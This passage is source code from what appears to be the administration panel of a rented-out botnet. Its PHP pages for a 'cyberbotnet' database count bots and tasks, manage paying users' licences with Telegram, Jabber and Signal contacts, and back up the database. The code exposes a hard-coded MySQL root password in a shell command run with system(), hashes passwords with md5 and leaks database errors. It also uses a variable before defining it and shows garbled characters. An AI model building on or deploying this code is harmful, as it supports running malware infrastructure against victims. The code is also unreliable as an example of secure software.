                          <div class="admin-action-card">
                              <h4><i class="fas fa-database"></i> Database Backup</h4>
                              <form method="POST" action="">
                                  <input type="hidden" name="action" value="db_action">
                                  <input type="hidden" name="db_action" value="backup">
                                  <p>Create a complete backup of the database</p>
                                  <button type="submit" class="btn btn-primary">Backup Database</button>
                              </form>
                          </div>

                          <div class="admin-divider"></div>

                          <div class="admin-action-card">
                              <h4><i class="fas fa-cogs"></i> System Settings</h4>
                              <a href="settings.php" class="btn btn-primary">Manage Settings</a>
                          </div>

                          <div class="admin-divider"></div>

                          <div class="admin-action-card">
                              <h4><i class="fas fa-chart-line"></i> System Stats</h4>
                              <div class="admin-stats">
                                  <?php
                                  // Database size
                                  $db_size_query = mysqli_query($condb, "SELECT table_schema AS 'Database',
                                      ROUND(SUM(data_length + index_length) / 1024 / 1024, 2) AS 'Size (MB)'
                                      FROM information_schema.TABLES
                                      WHERE table_schema = 'cyberbotnet'
                                      GROUP BY table_schema");
                                  $db_size = mysqli_fetch_assoc($db_size_query);

                                  // Get counts
                                  $bot_count = mysqli_query($condb, "SELECT COUNT(*) AS total FROM bot");
                                  $bot_count_result = mysqli_fetch_assoc($bot_count);

                                  $task_count = mysqli_query($condb, "SELECT COUNT(*) AS total FROM tasks");
                                  $task_count_result = mysqli_fetch_assoc($task_count);

                                  // Get active users instead of passwords
                                  $active_users = mysqli_query($condb, "SELECT COUNT(*) AS total FROM users WHERE license_status = 'active'");
                                  $active_users_result = mysqli_fetch_assoc($active_users);

                                  // Server storage
                                  $totalSpace = disk_total_space("C:");
                                  $freeSpace = disk_free_space("C:");
                                  $usedSpace = $totalSpace - $freeSpace;

                                  $totalSpaceGB = round($totalSpace / 1024 / 1024 / 1024, 2);
                                  $freeSpaceGB = round($freeSpace / 1024 / 1024 / 1024, 2);
                                  $usedSpaceGB = round($usedSpace / 1024 / 1024 / 1024, 2);
                                  $usedPercent = round(($usedSpace / $totalSpace) * 100, 1);
                                  ?>

                                  <div class="stat-item">
                                      <span class="stat-label">Database Size:</span>
                                      <span class="stat-value"><?php echo isset($db_size['Size (MB)']) ? $db_size['Size (MB)'] . ' MB' : 'N/A'; ?></span>
                                  </div>

                                  <div class="stat-item">
                                      <span class="stat-label">Total Bots:</span>
                                      <span class="stat-value"><?php echo $bot_count_result['total']; ?></span>
                                  </div>

                                  <div class="stat-item">
                                      <span class="stat-label">Server Storage:</span>
                                      <span class="stat-value"><?php echo $usedSpaceGB . ' GB / ' . $totalSpaceGB . ' GB (' . $usedPercent . '%)'; ?></span>
                                  </div>

                                  <div class="stat-item">
                                      <span class="stat-label">Total Active Users:</span>
                                      <span class="stat-value"><?php echo $active_users_result['total']; ?></span>
                                  </div>
                              </div>
                          </div>
                      </div>
                  </div>
              </div>
          </div>

          <!-- User Management Section (hidden initially, loaded via AJAX) -->
          <div class="row" id="users-container" style="display:none;">
              <div class="col-md-12">
                  <div class="cyber-panel">
                      <div class="cyber-panel-header">
                          <div class="cyber-title">
                              <i class="fas fa-users cyber-icon"></i>
                              <h3>User Management</h3>
                              <div class="cyber-title-decoration"></div>
                          </div>
                      </div>
                      <div class="cyber-panel-body">
                          <div id="users-list-container">
                              <div class="text-center">
                                  <i class="fas fa-spinner fa-spin fa-2x"></i>
                                  <p>Loading user data...</p>
                              </div>
                          </div>
                      </div>
                  </div>
              </div>
          </div>
      </div>

      <!-- Process Admin Actions -->
      <?php
      // Process form submissions
      if ($_SERVER['REQUEST_METHOD'] === 'POST') {
          $action = $_POST['action'] ?? '';

          // Add User Action
          if ($action === 'add_user') {
              $username = trim($_POST['username']);
              $password = trim($_POST['password']);
              $license_status = $_POST['license_status'];
              $license_duration = $_POST['license_duration'];

              // Calculate license start and end dates
              $license_start = date('Y-m-d H:i:s');

              if ($license_duration === 'lifetime') {
                  $license_expiry = NULL; // No expiry for lifetime
              } else {
                  $license_expiry = date('Y-m-d H:i:s', strtotime("+{$license_duration} days"));
              }

              // Hash password
              $hashed_password = md5($password); // Using md5 to match existing logic

              // Check if user exists
              $check_user = $condb->prepare("SELECT id_user FROM users WHERE username = ?");
              $check_user->bind_param("s", $username);
              $check_user->execute();
              $user_result = $check_user->get_result();

              if ($user_result->num_rows == 0) {
                  // Check if license_expiry column exists
                  $checkColumn = $condb->query("SHOW COLUMNS FROM users LIKE 'license_expiry'");
                  $licenseExpiryExists = ($checkColumn && $checkColumn->num_rows > 0);

                  // Create user
                  if ($licenseExpiryExists) {
                      $add_user = $condb->prepare("INSERT INTO users (username, password, license_status, license_start, license_expiry) VALUES (?, ?, ?, ?, ?)");
                      $add_user->bind_param("sssss", $username, $hashed_password, $license_status, $license_start, $license_expiry);
                  } else {
                      $add_user = $condb->prepare("INSERT INTO users (username, password, license_status, license_start) VALUES (?, ?, ?, ?)");
                      $add_user->bind_param("ssss", $username, $hashed_password, $license_status, $license_start);
                  }

                  if ($add_user->execute()) {
                      // Update all users where license_start is NULL
                      $condb->query("UPDATE users SET license_start = NOW() WHERE license_start IS NULL");

                      echo '<script>alert("User created successfully!");</script>';
                  } else {
                      echo '<script>alert("Error creating user: ' . $condb->error . '");</script>';
                  }

                  $add_user->close();
              } else {
                  echo '<script>alert("Username already exists!");</script>';
              }

              $check_user->close();
          }

          // Database Actions
          if ($action === 'db_action') {
              $db_action = $_POST['db_action'];

              if ($db_action === 'backup') {
                  // Create a proper database backup
                  $backup_dir = 'backups/';
                  if (!is_dir($backup_dir)) {
                      mkdir($backup_dir, 0755, true);
                  }

                  $backup_file = $backup_dir . 'cyberbotnet_' . date('Y-m-d_H-i-s') . '.sql';
                  $command = sprintf('mysqldump -u %s -p%s %s > %s', 'root', 'Cyberproduct123!@#', 'cyberbotnet', $backup_file);

                  if (system($command)) {
                      echo '<script>alert("Database backup created successfully: ' . $backup_file . '");</script>';
                  } else {
                      echo '<script>alert("Error creating database backup. Check server permissions.");</script>';
                  }
              }
          }
      }
      ?>

      <style>
      /* Admin Panel Specific Styles */
      body {
          background: #0a0a0f !important;
          color: #ffffff !important;
      }

      .cyber-panel {
          background: rgba(19, 19, 31, 0.85) !important;
          backdrop-filter: blur(20px);
          border-radius: 15px;
          box-shadow: 0 0 30px rgba(0, 0, 0, 0.3),
                      inset 0 0 2px rgba(0, 255, 255, 0.1);
          overflow: hidden;
          border: 1px solid rgba(0, 255, 255, 0.2);
          margin-bottom: 30px;
      }

      .cyber-panel-header {
          background: rgba(19, 19, 31, 0.9) !important;
          border-bottom: 1px solid rgba(0, 255, 255, 0.2);
          padding: 20px;
      }

      .cyber-panel-body {
          background: rgba(13, 13, 22, 0.7) !important;
          padding: 20px;
      }

      .full-width-container {
          padding: 20px;
          background: #0a0a0f !important;
      }

      .admin-action-card {
          background: rgba(19, 19, 31, 0.85) !important;
          border: 1px solid rgba(0, 255, 255, 0.2);
          border-radius: 15px;
          padding: 20px;
          margin-bottom: 20px;
          transition: all 0.3s ease;
      }

      .admin-action-card:hover {
          transform: translateY(-5px);
          box-shadow: 0 10px 20px rgba(0, 0, 0, 0.1) !important;
          border-color: rgba(0, 255, 255, 0.4);
      }

      .admin-action-card h4 {
          color: #00f3ff;
          font-family: 'Orbitron', sans-serif;
          margin-bottom: 15px;
          display: flex;
          align-items: center;
          gap: 10px;
          text-shadow: 0 0 10px rgba(0, 243, 255, 0.5);
      }

      .admin-action-card i {
          color: #00f3ff;
      }

      .admin-action-card p {
          color: #8a8fa3;
          margin-bottom: 15px;
          font-size: 14px;
      }

      .admin-divider {
          height: 1px;
          background: linear-gradient(90deg, transparent, rgba(0, 255, 255, 0.2), transparent);
          margin: 25px 0;
      }

      .admin-stats {
          display: flex;
          flex-wrap: wrap;
          gap: 15px;
      }

      .stat-item {
          flex: 1 1 40%;
          min-width: 150px;
          background: rgba(0, 0, 0, 0.2);
          padding: 15px;
          border-radius: 10px;
          border: 1px solid rgba(0, 255, 255, 0.1);
          display: flex;
          flex-direction: column;
          gap: 5px;
      }

      .stat-label {
          color: #8a8fa3;
          font-size: 12px;
      }

      .stat-value {
          color: #00f3ff;
          font-size: 18px;
          font-family: 'Orbitron', sans-serif;
          text-shadow: 0 0 10px rgba(0, 243, 255, 0.3);
      }

      .form-control {
          background: rgba(0, 0, 0, 0.2);
          border: 1px solid rgba(0, 255, 255, 0.2);
          color: #ffffff;
          border-radius: 8px;
          padding: 10px 15px;
          transition: all 0.3s ease;
      }

      .form-control:focus {
          border-color: #00f3ff;
          box-shadow: 0 0 10px rgba(0, 243, 255, 0.3);
          outline: none;
      }

      .form-group {
          margin-bottom: 15px;
      }

      .form-group label {
          display: block;
          margin-bottom: 8px;
          color: #8a8fa3;
      }

      .btn-primary {
          background: transparent;
          border: 2px solid #00f3ff;
          color: #00f3ff;
          border-radius: 8px;
          padding: 10px 20px;
          font-family: 'Orbitron', sans-serif;
          font-weight: 500;
          letter-spacing: 1px;
          transition: all 0.3s ease;
          text-transform: uppercase;
          margin-top: 10px;
      }

      .btn-primary:hover {
          background: #00f3ff;
          color: #0a0a0f;
          transform: translateY(-2px);
          box-shadow: 0 0 15px rgba(0, 243, 255, 0.4);
      }

      /* Fix table colors */
      .table-responsive {
          background: rgba(13, 13, 22, 0.7) !important;
          border-radius: 12px;
          border: 1px solid rgba(0, 255, 255, 0.1);
          overflow: hidden;
      }

      .table {
          background: transparent !important;
          color: #ffffff !important;
          margin-bottom: 0;
      }

      .table thead th {
          background: rgba(0, 0, 0, 0.3) !important;
          color: #00f3ff !important;
          border-bottom: 2px solid rgba(0, 255, 255, 0.2) !important;
          font-family: 'Orbitron', sans-serif;
          font-weight: 500;
          letter-spacing: 1px;
          text-transform: uppercase;
          padding: 12px 15px;
      }

      .table tbody tr {
          background: transparent !important;
          transition: all 0.3s ease;
      }

      .table tbody tr:hover {
          background: rgba(0, 255, 255, 0.05) !important;
      }

      .table td {
          border-color: rgba(0, 255, 255, 0.05) !important;
          color: #ffffff !important;
          padding: 12px 15px;
      }

      .row {
          background: transparent !important;
      }

      .col-md-6, .col-md-12 {
          background: transparent !important;
      }

      .container-fluid {
          background: #0a0a0f !important;
      }

      /* Override Bootstrap styles */
      .panel, .panel-default, .panel-body, .panel-heading {
          background: rgba(19, 19, 31, 0.85) !important;
          color: #ffffff !important;
          border-color: rgba(0, 255, 255, 0.2) !important;
      }

      /* Make sure tables have proper hover colors */
      .table-hover > tbody > tr:hover {
          background-color: rgba(0, 255, 255, 0.05) !important;
      }

      /* Fix text colors in tables */
      .table > tbody > tr > td {
          color: #ffffff !important;
      }

      .label {
          display: inline-block;
          padding: 5px 10px;
          border-radius: 5px;
          font-size: 12px;
          font-weight: 500;
      }

      .label-success {
          background: rgba(0, 255, 128, 0.15);
          color: #00ff80;
          border: 1px solid rgba(0, 255, 128, 0.3);
      }

      .label-warning {
          background: rgba(255, 165, 0, 0.15);
          color: #ffa500;
          border: 1px solid rgba(255, 165, 0, 0.3);
      }

      .label-danger {
          background: rgba(255, 67, 67, 0.15);
          color: #ff4343;
          border: 1px solid rgba(255, 67, 67, 0.3);
      }

      .btn-xs {
          padding: 5px 10px;
          font-size: 12px;
          line-height: 1.5;
          border-radius: 3px;
      }

      .btn-danger {
          background: transparent;
          border: 1px solid #ff4343;
          color: #ff4343;
      }

      .btn-danger:hover {
          background: rgba(255, 67, 67, 0.2);
      }

      .cyber-notification {
          background: rgba(19, 19, 31, 0.8);
          color: #8a8fa3;
          border: 1px solid rgba(0, 255, 255, 0.1);
      }

      .cyber-notification.success {
          background: rgba(0, 255, 128, 0.1);
          border-color: rgba(0, 255, 128, 0.2);
          color: #00ff80;
      }

      /* Make sure all panels have consistent backgrounds */
      #users-container,
      #licenses-container,
      .cyber-panel,
      .panel,
      .panel-default,
      .well {
          background-color: rgba(19, 19, 31, 0.85) !important;
      }

      @media screen {
          .table-hover > tbody > tr {
              background-color: transparent !important;
          }

          .table-hover > tbody > tr:hover {
              background-color: rgba(0, 255, 255, 0.05) !important;
          }

          .table-hover > tbody > tr > td {
              background-color: transparent !important;
          }

          .main-content {
              background: #0a0a0f !important;
          }
      }
      </style>

      <script>
      function loadUsers() {
          const container = document.getElementById('users-container');
          const listContainer = document.getElementById('users-list-container');

          // Show container
          container.style.display = 'block';

          // Show loading indicator
          listContainer.innerHTML = `<div class="text-center">
              <i class="fas fa-spinner fa-spin fa-2x"></i>
              <p>Loading user data...</p>
          </div>`;

          // Fetch users
          fetch('get_users.php')
              .then(response => {
                  if (!response.ok) {
                      throw new Error(`HTTP error! Status: ${response.status}`);
                  }
                  return response.text();
              })
              .then(data => {
                  listContainer.innerHTML = data;

                  // Scroll to the users section
                  container.scrollIntoView({ behavior: 'smooth', block: 'start' });
              })
              .catch(error => {
                  listContainer.innerHTML = `<div class="cyber-notification" style="background-color: rgba(255,0,0,0.1); color: #ff4444; border: 1px solid rgba(255,0,0,0.2);">
                      <i class="fas fa-exclamation-triangle"></i>
                      <span>Error loading users: ${error.message}</span>
                  </div>`;
              });
      }
      </script>

      <?php
      include("footer.php");
      ?>

- .\Panel\date_fixer.php - View Code

      <?php
      error_reporting(E_ALL);
      ini_set('display_errors', 1);
      session_start();

      // Only allow admin access
      if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'cybervax') {
          echo "Access denied. Admin privileges required.";
          exit;
      }

      // Connect to database
      require_once("config.php");
      if (!isset($condb)) {
          require_once("../config.php");
      }

      // Check connection
      if (!isset($condb) || $condb->connect_error) {
          die("Database connection failed: " . ($condb->connect_error ?? "Unknown error"));
      }

      // Initialize variables
      $message = '';
      $error = '';
      $success = false;
      $userRows = [];

      // Process form submissions
      if ($_SERVER['REQUEST_METHOD'] === 'POST') {
          if (isset($_POST['action'])) {
              $action = $_POST['action'];

              if ($action === 'update_single') {
                  // Update a single user's expiry date
                  $user_id = (int)$_POST['user_id'];
                  $expiry_type = $_POST['expiry_type'];

                  if ($expiry_type === 'lifetime') {
                      $sql = "UPDATE users SET " . $expiryColumnName . " = NULL, license_status = 'active' WHERE id_user = ?";
                      $stmt = $condb->prepare($sql);
                      $stmt->bind_param("i", $user_id);
                  } else {
                      $days = (int)$_POST['expiry_days'];
                      $expiry_date = date('Y-m-d H:i:s', strtotime("+$days days"));
                      $sql = "UPDATE users SET " . $expiryColumnName . " = ?, license_status = 'active' WHERE id_user = ?";
                      $stmt = $condb->prepare($sql);
                      $stmt->bind_param("si", $expiry_date, $user_id);
                  }

                  if ($stmt->execute()) {
                      $success = true;
                      $message = "User #$user_id license updated successfully!";
                  } else {
                      $error = "Error updating user: " . $stmt->error;
                  }

                  $stmt->close();
              } else if ($action === 'update_all') {
                  // Update all users with the same expiry type
                  $expiry_type = $_POST['expiry_type'];

                  if ($expiry_type === 'lifetime') {
                      $sql = "UPDATE users SET " . $expiryColumnName . " = NULL, license_status = 'active' WHERE id_user > 0";
                      if ($condb->query($sql)) {
                          $success = true;
                          $message = "All users set to lifetime license!";
                      } else {
                          $error = "Error updating users: " . $condb->error;
                      }
                  } else {
                      $days = (int)$_POST['expiry_days'];
                      $expiry_date = date('Y-m-d H:i:s', strtotime("+$days days"));
                      $sql = "UPDATE users SET " . $expiryColumnName . " = ?, license_status = 'active' WHERE id_user > 0";
                      $stmt = $condb->prepare($sql);
                      $stmt->bind_param("s", $expiry_date);

                      if ($stmt->execute()) {
                          $success = true;
                          $message = "All users updated with $days days license!";
                      } else {
                          $error = "Error updating users: " . $stmt->error;
                      }

                      $stmt->close();
                  }
              }
          }
      }

      // Check if license_expiry column exists (also check for license_end for backward compatibility)
      $checkExpiry = $condb->query("SHOW COLUMNS FROM users LIKE 'license_expiry'");
      $checkEnd = $condb->query("SHOW COLUMNS FROM users LIKE 'license_end'");
      $hasLicenseExpiry = ($checkExpiry && $checkExpiry->num_rows > 0);
      $hasLicenseEnd = ($checkEnd && $checkEnd->num_rows > 0);

      // If license_end exists but license_expiry doesn't, use license_end as a fallback
      $expiryColumnName = $hasLicenseExpiry ? 'license_expiry' : ($hasLicenseEnd ? 'license_end' : '');

      // Get all users
      $query = "SELECT id_user, username, license_status, license_start";
      if ($hasLicenseExpiry) {
          $query .= ", license_expiry";
      } else if ($hasLicenseEnd) {
          $query .= ", license_end";
      }
      $query .= " FROM users ORDER BY id_user";

      $result = $condb->query($query);
      if ($result) {
          while ($row = $result->fetch_assoc()) {
              $userRows[] = $row;
          }
      } else {
          $error = "Error fetching users: " . $condb->error;
      }

      // HTML output
      ?>

      <!DOCTYPE html>
      <html>
      <head>
          <title>License Date Fixer</title>
          <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
          <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css">
          <style>
              body {
                  background: #0a0a0f;
                  color: #ffffff;
                  font-family: 'Arial', sans-serif;
                  padding: 20px;
              }

              .container {
                  max-width: 1200px;
                  margin: 0 auto;
              }

              .panel {
                  background: rgba(19, 19, 31, 0.85);
                  border-radius: 15px;
                  box-shadow: 0 0 30px rgba(0, 0, 0, 0.3);
                  border: 1px solid rgba(0, 255, 255, 0.2);
                  margin-bottom: 25px;
                  padding: 20px;
              }

              h1, h2, h3 {
                  color: #00f3ff;
                  font-family: 'Orbitron', sans-serif;
                  margin-top: 0;
              }

              .table {
                  background: transparent;
                  color: #ffffff;
              }

              .table th {
                  background-color: rgba(0, 0, 0, 0.3) !important;
                  color: #00f3ff !important;
                  border-bottom: 2px solid rgba(0, 255, 255, 0.2) !important;
              }

              .table td {
                  border-color: rgba(0, 255, 255, 0.05) !important;
              }

              .table-hover > tbody > tr:hover {
                  background-color: rgba(0, 255, 255, 0.05) !important;
              }

              .status-active {
                  color: #00ff80;
              }

              .status-expired {
                  color: #ff4343;
              }

              .status-suspended {
                  color: #ffa500;
              }

              .alert {
                  border-radius: 10px;
                  padding: 15px;
                  margin-bottom: 20px;
              }

              .alert-success {
                  background-color: rgba(0, 255, 128, 0.1);
                  border-color: rgba(0, 255, 128, 0.3);
                  color: #00ff80;
              }

              .alert-danger {
                  background-color: rgba(255, 67, 67, 0.1);
                  border-color: rgba(255, 67, 67, 0.3);
                  color: #ff4343;
              }

              .btn {
                  background: transparent;
                  border: 2px solid #00f3ff;
                  color: #00f3ff;
                  border-radius: 8px;
                  padding: 10px 20px;
                  transition: all 0.3s ease;
                  margin-right: 10px;
                  margin-bottom: 10px;
              }

              .btn:hover, .btn:focus {
                  background: #00f3ff;
                  color: #0a0a0f;
                  transform: translateY(-2px);
                  box-shadow: 0 0 15px rgba(0, 243, 255, 0.4);
              }

              .form-control {
                  background: rgba(0, 0, 0, 0.2);
                  border: 1px solid rgba(0, 255, 255, 0.2);
                  color: #ffffff;
                  border-radius: 5px;
                  padding: 8px 12px;
                  margin-bottom: 10px;
              }

              .form-control:focus {
                  border-color: #00f3ff;
                  box-shadow: 0 0 10px rgba(0, 243, 255, 0.3);
              }

              .debug {
                  background: rgba(0, 0, 0, 0.5);
                  color: #00ff00;
                  border: 1px solid #00ff00;
                  padding: 15px;
                  border-radius: 8px;
                  font-family: monospace;
                  white-space: pre-wrap;
                  margin-top: 20px;
              }
          </style>
      </head>
      <body>
          <div class="container">
              <h1><i class="fas fa-calendar-alt"></i> License Date Fixer</h1>

              <?php if (!empty($message) && $success): ?>
                  <div class="alert alert-success">
                      <i class="fas fa-check-circle"></i> <?php echo $message; ?>
                  </div>
              <?php endif; ?>

              <?php if (!empty($error)): ?>
                  <div class="alert alert-danger">
                      <i class="fas fa-exclamation-triangle"></i> <?php echo $error; ?>
                  </div>
              <?php endif; ?>

              <div class="panel">
                  <h3><i class="fas fa-database"></i> Database Status</h3>
                  <div class="row">
                      <div class="col-md-6">
                          <p><strong>Connected to:</strong> <?php echo $condb->host_info; ?></p>
                          <p><strong>License Expiry Column:</strong> <?php echo $hasLicenseExpiry ? '<span class="status-active">Present</span>' : ($hasLicenseEnd ? '<span class="status-active">Present</span>' : '<span class="status-expired">Missing</span>'); ?></p>
                          <p><strong>Total Users:</strong> <?php echo count($userRows); ?></p>
                      </div>
                      <div class="col-md-6">
                          <?php if (!$hasLicenseExpiry && !$hasLicenseEnd): ?>
                          <div class="alert alert-danger">
                              <i class="fas fa-exclamation-triangle"></i>
                              <strong>Important:</strong> The license expiry column is missing from your database. Please <a href="fix_license_expiry.php">click here</a> to fix this issue or ask your database administrator to add this column:
                              <code>ALTER TABLE users ADD COLUMN license_expiry DATETIME NULL DEFAULT NULL AFTER license_start</code>
                          </div>
                          <?php endif; ?>
                      </div>
                  </div>
              </div>

              <div class="panel">
                  <h3><i class="fas fa-users-cog"></i> Manage License Dates</h3>

                  <!-- Mass Update Section -->
                  <h4>Update All Users</h4>
                  <form method="POST" action="" class="form-inline">
                      <input type="hidden" name="action" value="update_all">

                      <div class="form-group">
                          <label>Set all licenses to:</label>
                          <select name="expiry_type" class="form-control" id="all-expiry-type">
                              <option value="days">Fixed days</option>
                              <option value="lifetime">Lifetime (never expires)</option>
                          </select>
                      </div>

                      <div class="form-group" id="all-days-group">
                          <label>Days:</label>
                          <input type="number" name="expiry_days" value="30" min="1" max="9999" class="form-control" style="width: 100px;">
                      </div>

                      <button type="submit" class="btn" onclick="return confirm('Are you sure you want to update ALL users?')">
                          <i class="fas fa-save"></i> Update All Users
                      </button>
                  </form>

                  <hr style="border-color: rgba(0, 255, 255, 0.2); margin: 20px 0;">

                  <!-- User Table -->
                  <h4>Current Users</h4>
                  <div class="table-responsive">
                      <table class="table table-hover">
                          <thead>
                              <tr>
                                  <th>ID</th>
                                  <th>Username</th>
                                  <th>Status</th>
                                  <th>Start Date</th>
                                  <?php if ($hasLicenseExpiry): ?>
                                  <th>Current Expiry</th>
                                  <?php endif; ?>
                                  <th>Actions</th>
                              </tr>
                          </thead>
                          <tbody>
                          <?php foreach ($userRows as $user): ?>
                              <?php
                              $statusClass = '';
                              switch ($user['license_status']) {
                                  case 'active': $statusClass = 'status-active'; break;
                                  case 'suspended': $statusClass = 'status-suspended'; break;
                                  case 'expired': $statusClass = 'status-expired'; break;
                              }

                              $expiryDisplay = 'N/A';
                              if ($hasLicenseExpiry && isset($user['license_expiry'])) {
                                  if ($user['license_expiry'] === NULL) {
                                      $expiryDisplay = '<span class="status-active">Γê₧ Lifetime</span>';
                                  } else if (!empty($user['license_expiry'])) {
                                      $expiryDisplay = date('Y-m-d', strtotime($user['license_expiry']));
                                  }
                              } else if ($hasLicenseEnd && isset($user['license_end'])) {
                                  if ($user['license_end'] === NULL) {
                                      $expiryDisplay = '<span class="status-active">Γê₧ Lifetime</span>';
                                  } else if (!empty($user['license_end'])) {
                                      $expiryDisplay = date('Y-m-d', strtotime($user['license_end']));
                                  }
                              }
                              ?>
                              <tr>
                                  <td><?php echo $user['id_user']; ?></td>
                                  <td><?php echo htmlspecialchars($user['username']); ?></td>
                                  <td><span class="<?php echo $statusClass; ?>"><?php echo ucfirst($user['license_status']); ?></span></td>
                                  <td><?php echo $user['license_start'] ? date('Y-m-d', strtotime($user['license_start'])) : 'N/A'; ?></td>
                                  <?php if ($hasLicenseExpiry): ?>
                                  <td><?php echo $expiryDisplay; ?></td>
                                  <?php endif; ?>
                                  <td>
                                      <form method="POST" action="" class="form-inline">
                                          <input type="hidden" name="action" value="update_single">
                                          <input type="hidden" name="user_id" value="<?php echo $user['id_user']; ?>">

                                          <div class="form-group">
                                              <select name="expiry_type" class="form-control user-expiry-type" id="expiry-type-<?php echo $user['id_user']; ?>" style="width: 100px;">
                                                  <option value="days">Days</option>
                                                  <option value="lifetime">Lifetime</option>
                                              </select>
                                          </div>

                                          <div class="form-group days-group" id="days-group-<?php echo $user['id_user']; ?>">
                                              <input type="number" name="expiry_days" value="30" min="1" max="9999" class="form-control" style="width: 80px;">
                                          </div>

                                          <button type="submit" class="btn btn-sm">
                                              <i class="fas fa-save"></i> Set
                                          </button>
                                      </form>
                                  </td>
                              </tr>
                          <?php endforeach; ?>
                          </tbody>
                      </table>
                  </div>
              </div>

              <?php if ($hasLicenseExpiry || $hasLicenseEnd): ?>
              <div class="debug">
                  <h4>Database Debug Information</h4>
                  <pre><?php
                  // Show a sample of license expiry values
                  $debugSql = "SELECT id_user, username, license_status, license_start, " . $expiryColumnName . " FROM users LIMIT 5";
                  $debugResult = $condb->query($debugSql);

                  if ($debugResult) {
                      echo "Sample user records:\n";
                      echo "-----------------\n";
                      while ($row = $debugResult->fetch_assoc()) {
                          echo "ID: " . $row['id_user'] . "\n";
                          echo "Username: " . $row['username'] . "\n";
                          echo "Status: " . $row['license_status'] . "\n";
                          echo "Start: " . var_export($row['license_start'], true) . "\n";
                          echo $expiryColumnName . ": " . var_export($row[$expiryColumnName], true) . "\n";
                          echo "-----------------\n";
                      }
                  } else {
                      echo "Error fetching debug data: " . $condb->error;
                  }
                  ?></pre>
              </div>
              <?php endif; ?>

              <div style="margin-top: 20px; text-align: center;">
                  <a href="cyberok.php" class="btn"><i class="fas fa-arrow-left"></i> Return to Admin Panel</a>
              </div>
          </div>

          <script>
              document.addEventListener('DOMContentLoaded', function() {
                  // For All Users section
                  const allExpiryType = document.getElementById('all-expiry-type');
                  const allDaysGroup = document.getElementById('all-days-group');

                  if (allExpiryType && allDaysGroup) {
                      allExpiryType.addEventListener('change', function() {
                          allDaysGroup.style.display = allExpiryType.value === 'lifetime' ? 'none' : 'inline-block';
                      });
                  }

                  // For individual user sections
                  const userExpiryTypes = document.querySelectorAll('.user-expiry-type');

                  userExpiryTypes.forEach(function(select) {
                      const userId = select.id.split('-').pop();
                      const daysGroup = document.getElementById('days-group-' + userId);

                      select.addEventListener('change', function() {
                          daysGroup.style.display = select.value === 'lifetime' ? 'none' : 'inline-block';
                      });
                  });
              });
          </script>
      </body>
      </html>

- .\Panel\delete_user.php - View Code

      <?php
      session_start();
      error_reporting(E_ALL);
      ini_set('display_errors', 1);

      // Include database connection
      require_once("config.php");
      if (!isset($condb)) {
          require_once("../config.php");
      }

      // Check connection
      if (!isset($condb) || $condb->connect_error) {
          die("Database connection failed: " . ($condb->connect_error ?? "Unknown error"));
      }

      // Check if user is logged in and is cybervax (admin)
      if(!isset($_SESSION['username']) || $_SESSION['username'] !== 'cybervax') {
          header("Location: index.php");
          exit('Access Denied: Admin privileges required');
      }

      // Check if ID is provided
      if(!isset($_GET['id']) || !is_numeric($_GET['id'])) {
          header("Location: cyberok.php");
          exit;
      }

      $user_id = intval($_GET['id']);

      // Don't allow deleting the current admin user
      $check_admin = mysqli_query($condb, "SELECT username FROM users WHERE id_user = $user_id");
      $user = mysqli_fetch_assoc($check_admin);

      if($user && $user['username'] === 'cybervax') {
          // Redirect with error
          header("Location: cyberok.php?error=Cannot delete admin account");
          exit;
      }

      // Delete the user
      $delete_user = mysqli_query($condb, "DELETE FROM users WHERE id_user = $user_id");

      if($delete_user) {
          header("Location: cyberok.php?success=User deleted successfully");
      } else {
          header("Location: cyberok.php?error=Failed to delete user: " . mysqli_error($condb));
      }

      exit;
      ?>

- .\Panel\edit_user.php - View Code

      <?php
      session_start();
      include("header.php");

      // Check if user is logged in and is cybervax (admin)
      if(!isset($_SESSION['username']) || $_SESSION['username'] !== 'cybervax') {
          header("Location: index.php");
          exit('Access Denied: Admin privileges required');
      }

      // Check if ID is provided
      if(!isset($_GET['id']) || !is_numeric($_GET['id'])) {
          header("Location: cyberok.php");
          exit;
      }

      $user_id = intval($_GET['id']);
      $message = '';
      $error = '';

      // Process form submission
      if ($_SERVER['REQUEST_METHOD'] === 'POST') {
          $username = trim($_POST['username']);
          $password = trim($_POST['password']);
          $license_status = $_POST['license_status'];
          $telegram = trim($_POST['telegram'] ?? '');
          $jabber = trim($_POST['jabber'] ?? '');
          $signal = trim($_POST['signal'] ?? '');

          // Check if license_expiry column exists and license_duration was posted
          $checkColumn = $condb->query("SHOW COLUMNS FROM users LIKE 'license_expiry'");
          $licenseExpiryExists = ($checkColumn && $checkColumn->num_rows > 0);

          if ($licenseExpiryExists && isset($_POST['license_duration'])) {
              $license_duration = $_POST['license_duration'];

              // Calculate new license expiry based on selected duration
              $license_expiry = NULL;

              if ($license_duration === 'keep') {
                  // Keep current expiry
                  $license_expiry = $user['license_expiry'];
              } else if ($license_duration === 'lifetime') {
                  // Set to NULL for lifetime
                  $license_expiry = NULL;
              } else if (strpos($license_duration, 'extend_') === 0) {
                  // Extract days to extend
                  $days = str_replace('extend_', '', $license_duration);

                  // If current expiry is NULL (lifetime), start from now
                  if ($user['license_expiry'] === NULL) {
                      $expiry_date = new DateTime();
                  } else {
                      $expiry_date = new DateTime($user['license_expiry']);
                      $now = new DateTime();

                      // If license is expired, start from now
                      if ($expiry_date < $now) {
                          $expiry_date = $now;
                      }
                  }

                  // Add days
                  $expiry_date->modify("+{$days} days");
                  $license_expiry = $expiry_date->format('Y-m-d H:i:s');
              }
          }

          // Update user based on whether license_expiry exists
          if (!empty($password)) {
              // Update with new password
              $hashed_password = md5($password); // Using md5 to match existing logic

              if ($licenseExpiryExists && isset($license_expiry)) {
                  $update_user = $condb->prepare("UPDATE users SET username = ?, password = ?, license_status = ?, license_expiry = ?, telegram = ?, jabber = ?, `signal` = ? WHERE id_user = ?");
                  $update_user->bind_param("sssssssi", $username, $hashed_password, $license_status, $license_expiry, $telegram, $jabber, $signal, $user_id);
              } else {
                  $update_user = $condb->prepare("UPDATE users SET username = ?, password = ?, license_status = ?, telegram = ?, jabber = ?, `signal` = ? WHERE id_user = ?");
                  $update_user->bind_param("ssssssi", $username, $hashed_password, $license_status, $telegram, $jabber, $signal, $user_id);
              }
          } else {
              // Update without changing password
              if ($licenseExpiryExists && isset($license_expiry)) {
                  $update_user = $condb->prepare("UPDATE users SET username = ?, license_status = ?, license_expiry = ?, telegram = ?, jabber = ?, `signal` = ? WHERE id_user = ?");
